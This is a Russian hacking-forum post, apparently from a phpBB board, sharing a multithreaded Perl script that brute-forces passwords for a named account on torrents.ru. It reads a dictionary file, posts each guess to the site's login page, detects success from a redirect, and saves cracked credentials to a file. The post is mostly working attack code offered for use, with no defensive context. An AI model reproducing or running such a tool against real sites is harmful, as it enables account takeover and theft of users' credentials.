Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование http://ah.flybb.ru/ |
|
Torrents.ru Bruteforce [perl] http://ah.flybb.ru/topic1499.html |
Страница 1 из 1 |
Автор: | Lucas [ 13-01, 15:24 ] |
Заголовок сообщения: | Torrents.ru Bruteforce [perl] |
Код: #!/usr/bin/perl
################################################## # # В папку со скриптом киньте 2 файла: # # pass.txt (Словарь), good.txt (Взбрученные аккки)# ################################################## # use strict; use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use threads; print "\n Torrent.ru Bruteforce by Fuck all\n"; print "\n Starting brute...\n"; open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt my @pass = <FP>; close FP; my $login_username = 'ALeXX'; # ЛОГИН! my $i=0; my @thr; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); for (@pass) { my $nowpass = $_; chomp @pass; if($thr[$i]) {threads->object($thr[$i]->tid())->join;} $thr[$i]=threads->create(\&brute,$login_username,$nowpass); $i=($i+1) % 5; #Количество потоков (5) } foreach(threads->list) { $_->join; } sub brute() { $ua->cookie_jar($cookies); my $req = $ua->post('http://torrents.ru/forum/login.php', { 'st.posted'=>'set', 'login_username'=>$_[0], 'login_password'=>$_[1], 'login'=>'%C2%F5%EE%E4' })->as_string; my $result = $req =~/302 Found/; if ($result) { print "[+]OK $_[0]:$_[0]\n"; open (G , '>>good.txt'); print G $_[0].":".$_[1]."\n"; close G; die ('PASSWORD FOUND!!!!!\n\n\n'); } else { print "[-] BAD $_[1]\n"; }} #c0ded by Fuck all; |
Страница 1 из 1 | Часовой пояс: UTC + 3 часа |
Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ |